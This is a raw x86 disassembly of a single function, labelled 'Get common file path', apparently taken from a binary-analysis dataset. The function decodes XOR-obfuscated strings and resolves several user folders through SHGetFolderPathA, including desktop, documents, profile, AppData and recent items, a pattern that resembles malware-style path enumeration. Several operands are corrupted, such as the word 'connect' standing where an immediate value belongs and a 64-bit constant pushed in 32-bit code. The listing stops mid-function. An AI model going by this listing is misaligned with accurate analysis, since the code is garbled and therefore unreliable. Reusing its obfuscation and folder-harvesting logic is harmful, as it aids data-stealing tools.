Function at 0x445540
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fe6de
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x438
push esi
push edi
xor edi, edi
mov dword [ebp - 0x100], edi
mov dword [ebp - 4], edi
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x164], edi
cmovae ecx, dword [ebp + 8]
call fcn.0040b930
cmp byte [0x53b100], 2
jne 0x446a61
lea eax, [ebp - 0x12c]
mov ecx, 0x53b100
push eax
call fcn.0045cac0
mov edx, ecx
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], edi
mov dword [ebp - 0x110], edi
mov dword [ebp - 0x11c], edx
movzx eax, byte [edx]
mov ecx, eax
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], edi
mov dword [ebp - 0x110], connect
sub ecx, 1
je 0x44560c
sub ecx, 1
je 0x4455fe
mov dword [ebp - 0x110], connect
sub eax, 1
je 0x44560c
sub eax, 1
je 0x4455fe
mov dword [ebp - 0x110], 1
jmp 0x445617
mov eax, dword [edx + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x114], eax
jmp 0x445617
mov eax, dword [edx + 8]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x12c]
call fcn.0045c540
test al, al
je 0x446a61
lea ecx, [ebp - 0x12c]
call fcn.0045c650
movaps xmm0, xmmword [0x525eb0]
mov esi, eax
movups xmmword [ebp - 0x154], xmm0
xor ecx, ecx
nop
movzx eax, byte [ebp + ecx - 0x154]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x154], al
inc ecx
cmp ecx, 0xf
jb 0x445650
lea eax, [ebp - 0x154]
mov ecx, esi
push eax
call fcn.004639b0
lea ecx, [ebp - 0x340]
push ecx
mov ecx, eax
call fcn.00463af0
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0xc3], 0x2f263f38
mov dword [ebp - 0xbf], 0x26232c15
mov word [ebp - 0xbb], 0x392f
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp + ecx - 0xc3]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xc3], al
inc ecx
cmp ecx, 0xa
jb 0x4456b1
lea eax, [ebp - 0xc3]
mov ecx, esi
push eax
call fcn.004639b0
lea ecx, [ebp - 0x328]
push ecx
mov ecx, eax
call fcn.00463af0
mov byte [ebp - 4], 2
xor ecx, ecx
mov dword [ebp - 0xed], 0x2f263f38
mov dword [ebp - 0xe9], 0x26252c15
mov dword [ebp - 0xe5], 0x382f2e
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xed]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xed], al
inc ecx
cmp ecx, 0xb
jb 0x445710
lea eax, [ebp - 0xed]
mov ecx, esi
push eax
call fcn.004639b0
lea ecx, [ebp - 0x84]
push ecx
mov ecx, eax
call fcn.00463af0
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0xfa], 0x2f263f38
mov dword [ebp - 0xf6], 0x30233915
mov dword [ebp - 0xf2], 0x2821152f
mov byte [ebp - 0xee], 0
movzx eax, byte [ebp + ecx - 0xfa]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xfa], al
inc ecx
cmp ecx, 0xc
jb 0x445772
lea eax, [ebp - 0xfa]
mov ecx, esi
push eax
call fcn.004639b0
mov byte [ebp - 4], 4
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x134], 0
lea edx, [ebp - 0x144]
mov dword [ebp - 0x130], 0
or edi, 2
mov ecx, eax
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov dword [ebp - 0x100], edi
call fcn.00474630
cmp dword [ebp - 0x130], 0x10
lea eax, [ebp - 0x144]
cmovae eax, dword [ebp - 0x144]
push eax
call fcn.004dd7e7
and edi, 0xfffffffd
mov dword [ebp - 0x160], eax
add esp, 4
mov dword [ebp - 0x100], edi
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x445858
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44584e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x446a80
push ecx
push edx
call fcn.004b9cb1
add esp, 8
movaps xmm0, xmmword [0x526510]
xor ecx, ecx
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
movups xmmword [ebp - 0x159], xmm0
mov dword [ebp - 0x149], 0x3c39383f
mov byte [ebp - 0x145], 0
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x159]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x159], al
inc ecx
cmp ecx, 0x14
jb 0x4458a0
lea eax, [ebp - 0x159]
mov ecx, esi
push eax
call fcn.004639b0
lea edx, [ebp - 0x14]
mov ecx, eax
call fcn.004746c0
push 0x70
mov byte [ebp - 0x15], 0
call fcn.004606a0
sub esp, 0x18
mov byte [ebp - 0x16], al
mov edx, esp
mov dword [ebp - 0x228], esp
xorps xmm0, xmm0
lea ecx, [ebp - 0x16]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445906
sub ecx, esi
lea eax, [ebp - 0x16]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp - 0x340]
mov dword [ebp - 0x224], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 6
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x234]
call fcn.0040bd80
add esp, 0x30
mov byte [ebp - 4], 7
xor ecx, ecx
mov word [ebp - 0x13], 0x6a66
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x13]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 2
jb 0x445960
sub esp, 0x18
lea ecx, [ebp - 0x13]
mov edx, esp
mov dword [ebp - 0x220], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4459a0
sub ecx, esi
lea eax, [ebp - 0x13]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 8
sub esp, 0x18
lea eax, [ebp - 0x328]
mov dword [ebp - 0x21c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 9
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x10c]
call fcn.0040bd80
add esp, 0x30
mov byte [ebp - 4], 0xa
xor ecx, ecx
mov dword [ebp - 0x4c], 0x190f0e6f
mov dword [ebp - 0x48], 0x1a051e01
mov word [ebp - 0x44], 0x6f
movzx eax, byte [ebp + ecx - 0x4c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 9
jb 0x445a00
lea edx, [ebp - 0x4c]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x445a20
mov edi, dword [ebp - 0x70]
lea eax, [ebp - 0x4c]
mov esi, dword [ebp - 0x84]
sub edx, ecx
push edx
mov edx, dword [ebp - 0x74]
lea ecx, [ebp - 0x84]
cmp edi, 0x10
push eax
cmovae ecx, esi
push 0
call fcn.00464d90
add esp, 0xc
test eax, eax
jne 0x445b8f
push 0x104
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x258], 0
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x254], 0
movups xmmword [ebp - 0x268], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445ab0
sub ecx, edx
lea eax, [ebp - 0x444]
push ecx
push eax
lea ecx, [ebp - 0x268]
call fcn.00402aa0
mov byte [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0x56], 0x190f0e6f
mov dword [ebp - 0x52], 0x1a051e01
mov word [ebp - 0x4e], 0x6f
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x56]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x56], al
inc ecx
cmp ecx, 9
jb 0x445af0
xorps xmm0, xmm0
mov dword [ebp - 0x240], 0
lea ecx, [ebp - 0x56]
mov dword [ebp - 0x23c], 0
movups xmmword [ebp - 0x250], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445b30
sub ecx, edx
lea eax, [ebp - 0x56]
push ecx
push eax
lea ecx, [ebp - 0x250]
call fcn.00402aa0
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x268]
push eax
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x84]
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x250]
call fcn.00402890
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x268]
call fcn.00402890
mov edi, dword [ebp - 0x70]
mov esi, dword [ebp - 0x84]
mov dword [ebp - 0x90], 0x9050e6f
xor ecx, ecx
mov dword [ebp - 0x8c], 0x40f071f
mov dword [ebp - 0x88], 0x6f191e
nop
movzx eax, byte [ebp + ecx - 0x90]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x90], al
inc ecx
cmp ecx, 0xb
jb 0x445bb0
lea edx, [ebp - 0x90]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x445bd4
sub edx, ecx
lea eax, [ebp - 0x90]
push edx
mov edx, dword [ebp - 0x74]
lea ecx, [ebp - 0x84]
cmp edi, 0x10
push eax
cmovae ecx, esi
push 0
call fcn.00464d90
add esp, 0xc
test eax, eax
jne 0x445d44
push 0x104
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x288], 0
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x284], 0
movups xmmword [ebp - 0x298], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445c57
sub ecx, edx
lea eax, [ebp - 0x444]
push ecx
push eax
lea ecx, [ebp - 0x298]
call fcn.00402aa0
mov byte [ebp - 4], 0xd
xor ecx, ecx
mov dword [ebp - 0x9c], 0x9050e6f
mov dword [ebp - 0x98], 0x40f071f
mov dword [ebp - 0x94], 0x6f191e
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x9c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x9c], al
inc ecx
cmp ecx, 0xb
jb 0x445ca0
xorps xmm0, xmm0
mov dword [ebp - 0x270], 0
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x26c], 0
movups xmmword [ebp - 0x280], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445ce2
sub ecx, edx
lea eax, [ebp - 0x9c]
push ecx
push eax
lea ecx, [ebp - 0x280]
call fcn.00402aa0
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x298]
push eax
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x84]
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x280]
call fcn.00402890
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x298]
call fcn.00402890
mov edi, dword [ebp - 0x70]
mov esi, dword [ebp - 0x84]
mov dword [ebp - 0xb8], 0xf191f6f
xor ecx, ecx
mov dword [ebp - 0xb4], 0x5181a18
mov dword [ebp - 0xb0], 0xf06030c
mov word [ebp - 0xac], 0x6f
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xb8]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xb8], al
inc ecx
cmp ecx, 0xd
jb 0x445d70
lea edx, [ebp - 0xb8]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x445d94
sub edx, ecx
lea eax, [ebp - 0xb8]
push edx
mov edx, dword [ebp - 0x74]
lea ecx, [ebp - 0x84]
cmp edi, 0x10
push eax
cmovae ecx, esi
push 0
call fcn.00464d90
add esp, 0xc
test eax, eax
jne 0x445f98
push 0x104
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x184], 0
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x180], 0
movups xmmword [ebp - 0x194], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445e17
sub ecx, edx
lea eax, [ebp - 0x444]
push ecx
push eax
lea ecx, [ebp - 0x194]
call fcn.00402aa0
mov byte [ebp - 4], 0xf
xor ecx, ecx
mov dword [ebp - 0xaa], 0xf191f6f
mov dword [ebp - 0xa6], 0x5181a18
mov dword [ebp - 0xa2], 0xf06030c
mov word [ebp - 0x9e], 0x6f
movzx eax, byte [ebp + ecx - 0xaa]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xaa], al
inc ecx
cmp ecx, 0xd
jb 0x445e60
xorps xmm0, xmm0
mov dword [ebp - 0x16c], 0
lea ecx, [ebp - 0xaa]
mov dword [ebp - 0x168], 0
movups xmmword [ebp - 0x17c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445ea2
sub ecx, edx
lea eax, [ebp - 0xaa]
push ecx
push eax
lea ecx, [ebp - 0x17c]
call fcn.00402aa0
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x194]
push eax
lea edx, [ebp - 0x17c]
lea ecx, [ebp - 0x84]
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x168]
cmp ecx, 0x10
jb 0x445f1b
mov edx, dword [ebp - 0x17c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x445f11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x446a80
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x180]
cmp ecx, 0x10
jb 0x445f74
mov edx, dword [ebp - 0x194]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x445f6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x446a80
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov edi, dword [ebp - 0x70]
mov esi, dword [ebp - 0x84]
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
mov dword [ebp - 0x60], 0x1a1a0b6f
xor ecx, ecx
mov dword [ebp - 0x5c], 0xb1e0b0e
mov word [ebp - 0x58], 0x6f
nop
movzx eax, byte [ebp + ecx - 0x60]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x60], al
inc ecx
cmp ecx, 9
jb 0x445fb0
lea edx, [ebp - 0x60]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x445fd0
sub edx, ecx
lea eax, [ebp - 0x60]
push edx
mov edx, dword [ebp - 0x74]
lea ecx, [ebp - 0x84]
cmp edi, 0x10
push eax
cmovae ecx, esi
push 0
call fcn.00464d90
add esp, 0xc
test eax, eax
jne 0x446179
push 0x104
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x2a0], 0
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x29c], 0
movups xmmword [ebp - 0x2b0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446050
sub ecx, edx
lea eax, [ebp - 0x444]
push ecx
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00402aa0
mov byte [ebp - 4], 0x11
xor ecx, ecx
mov dword [ebp - 0x6a], 0x1a1a0b6f
mov dword [ebp - 0x66], 0xb1e0b0e
mov word [ebp - 0x62], 0x6f
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x6a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6a], al
inc ecx
cmp ecx, 9
jb 0x446090
xorps xmm0, xmm0
mov dword [ebp - 0x19c], 0
lea ecx, [ebp - 0x6a]
mov dword [ebp - 0x198], 0
movups xmmword [ebp - 0x1ac], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4460d0
sub ecx, edx
lea eax, [ebp - 0x6a]
push ecx
push eax
lea ecx, [ebp - 0x1ac]
call fcn.00402aa0
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x2b0]
push eax
lea edx, [ebp - 0x1ac]
lea ecx, [ebp - 0x84]
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x198]
cmp ecx, 0x10
jb 0x446146
mov edx, dword [ebp - 0x1ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44613c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x446a80
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2b0]
call fcn.00402890
mov edi, dword [ebp - 0x70]
mov esi, dword [ebp - 0x84]
mov dword [ebp - 0xe1], 0x905066f
xor ecx, ecx
mov dword [ebp - 0xdd], 0x1a0b060b
mov dword [ebp - 0xd9], 0x1e0b0e1a
mov word [ebp - 0xd5], 0x6f0b
mov byte [ebp - 0xd3], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xe1]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xe1], al
inc ecx
cmp ecx, 0xe
jb 0x4461b0
lea edx, [ebp - 0xe1]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4461d4
sub edx, ecx
lea eax, [ebp - 0xe1]
push edx
mov edx, dword [ebp - 0x74]
lea ecx, [ebp - 0x84]
cmp edi, 0x10
push eax
cmovae ecx, esi
push 0
call fcn.00464d90
add esp, 0xc
test eax, eax
jne 0x44634e
push 0x104
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x2d0], 0
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x2cc], 0
movups xmmword [ebp - 0x2e0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446257
sub ecx, edx
lea eax, [ebp - 0x444]
push ecx
push eax
lea ecx, [ebp - 0x2e0]
call fcn.00402aa0
mov byte [ebp - 4], 0x13
xor ecx, ecx
mov dword [ebp - 0xd2], 0x905066f
mov dword [ebp - 0xce], 0x1a0b060b
mov dword [ebp - 0xca], 0x1e0b0e1a
mov word [ebp - 0xc6], 0x6f0b
mov byte [ebp - 0xc4], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xd2]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xd2], al
inc ecx
cmp ecx, 0xe
jb 0x4462b0
xorps xmm0, xmm0
mov dword [ebp - 0x2b8], 0
lea ecx, [ebp - 0xd2]
mov dword [ebp - 0x2b4], 0
movups xmmword [ebp - 0x2c8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4462f2
sub ecx, edx
lea eax, [ebp - 0xd2]
push ecx
push eax
lea ecx, [ebp - 0x2c8]
call fcn.00402aa0
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x2e0]
push eax
lea edx, [ebp - 0x2c8]
lea ecx, [ebp - 0x84]
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2c8]
call fcn.00402890
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2e0]
call fcn.00402890
mov edi, dword [ebp - 0x70]
mov dword [ebp - 0x39], 0x90f186f
xor ecx, ecx
mov dword [ebp - 0x35], 0x6f1e040f
mov byte [ebp - 0x31], 0
movzx eax, byte [ebp + ecx - 0x39]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 8
jb 0x446362
lea esi, [ebp - 0x39]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x446380
mov edx, dword [ebp - 0x74]
lea eax, [ebp - 0x39]
sub esi, ecx
cmp edi, 0x10
push esi
push eax
lea ecx, [ebp - 0x84]
cmovae ecx, dword [ebp - 0x84]
push 0
call fcn.00464d90
add esp, 0xc
test eax, eax
jne 0x44656a
push 0x104
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
push 0
push 0
push 8
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x1cc], 0
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x1c8], 0
movups xmmword [ebp - 0x1dc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446404
sub ecx, edx
lea eax, [ebp - 0x444]
push ecx
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00402aa0
mov byte [ebp - 4], 0x15
xor ecx, ecx
mov dword [ebp - 0x42], 0x90f186f
mov dword [ebp - 0x3e], 0x6f1e040f
mov byte [ebp - 0x3a], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x42]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 8
jb 0x446440
xorps xmm0, xmm0
mov dword [ebp - 0x1b4], 0
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x1b0], 0
movups xmmword [ebp - 0x1c4], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446480
sub ecx, edx
lea eax, [ebp - 0x42]
push ecx
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00402aa0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x1dc]
push eax
lea edx, [ebp - 0x1c4]
lea ecx, [ebp - 0x84]
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x1b0]
cmp ecx, 0x10
jb 0x4464f6
mov edx, dword [ebp - 0x1c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4464ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x446a80
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x1c8]
cmp ecx, 0x10
jb 0x44654f
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x446545
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x446a80
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
mov ecx, dword [ebp - 0x108]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x10c]
sub ecx, esi
imul ecx
mov dword [ebp - 0x30], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x44692d
xor ecx, ecx
mov dword [ebp - 0x10], ecx
nop dword [eax + eax]
cmp dword [ecx + esi + 0x14], 0x10
lea edi, [ecx + esi]
mov eax, dword [edi + 0x10]
jb 0x4465af
mov edi, dword [edi]
test eax, eax
je 0x4466e0
push eax
push 0x2a
push edi
call fcn.004d36d0
add esp, 0xc
test eax, eax
je 0x4466d7
sub eax, edi
cmp eax, 0xffffffff
je 0x4466d7
mov dword [ebp - 0x1d], 0x63676462
xor ecx, ecx
mov byte [ebp - 0x19], 0
movzx eax, byte [ebp + ecx - 0x1d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 4
jb 0x4465e3
xorps xmm0, xmm0
mov dword [ebp - 0x300], 0
lea ecx, [ebp - 0x1d]
mov dword [ebp - 0x2fc], 0
movups xmmword [ebp - 0x310], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446620
sub ecx, edx
lea eax, [ebp - 0x1d]
push ecx
push eax
lea ecx, [ebp - 0x310]
call fcn.00402aa0
mov byte [ebp - 4], 0x17
push 0x60
mov byte [ebp - 0x17], 0
call fcn.004606a0
xorps xmm0, xmm0
mov byte [ebp - 0x18], al
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x2e8], 0
movups xmmword [ebp - 0x2f8], xmm0
mov dword [ebp - 0x2e4], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446670
sub ecx, edx
lea eax, [ebp - 0x18]
push ecx
push eax
lea ecx, [ebp - 0x2f8]
call fcn.00402aa0
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x310]
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x2f8]
add ecx, dword [ebp - 0x10c]
push eax
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2f8]
call fcn.00402890
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x310]
call fcn.00402890
mov esi, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10]
jmp 0x4465a0
mov ecx, dword [ebp - 0x10]
nop word [eax + eax]
lea edi, [ecx + esi]
mov dword [ebp - 0x22], 0x63676462
mov byte [ebp - 0x1e], 0
xor ecx, ecx
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 4
jb 0x4466f0
lea esi, [ebp - 0x22]
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x446710
mov edx, dword [edi + 0x10]
sub esi, ecx
cmp dword [edi + 0x14], 0x10
jb 0x446724
mov edi, dword [edi]
push esi
lea eax, [ebp - 0x22]
mov ecx, edi
push eax
push 0
call fcn.00464d90
add esp, 0xc
cmp eax, 0xffffffff
je 0x4468f8
mov dword [ebp - 0x27], 0x63606462
xor ecx, ecx
mov byte [ebp - 0x23], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x27]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 4
jb 0x446750
xorps xmm0, xmm0
mov dword [ebp - 0x1fc], 0
lea ecx, [ebp - 0x27]
mov dword [ebp - 0x1f8], 0
movups xmmword [ebp - 0x20c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446790
sub ecx, edx
lea eax, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402aa0
mov byte [ebp - 4], 0x19
xor ecx, ecx
mov dword [ebp - 0x2c], 0x63676462
mov byte [ebp - 0x28], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x2c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 4
jb 0x4467c0
xorps xmm0, xmm0
mov dword [ebp - 0x1e4], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1e0], 0
movups xmmword [ebp - 0x1f4], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446800
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x1f4]
call fcn.00402aa0
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x20c]
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x1f4]
add ecx, dword [ebp - 0x10c]
push eax
call fcn.004083c0
add esp, 4
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0x10
jb 0x446879
mov edx, dword [ebp - 0x1f4]
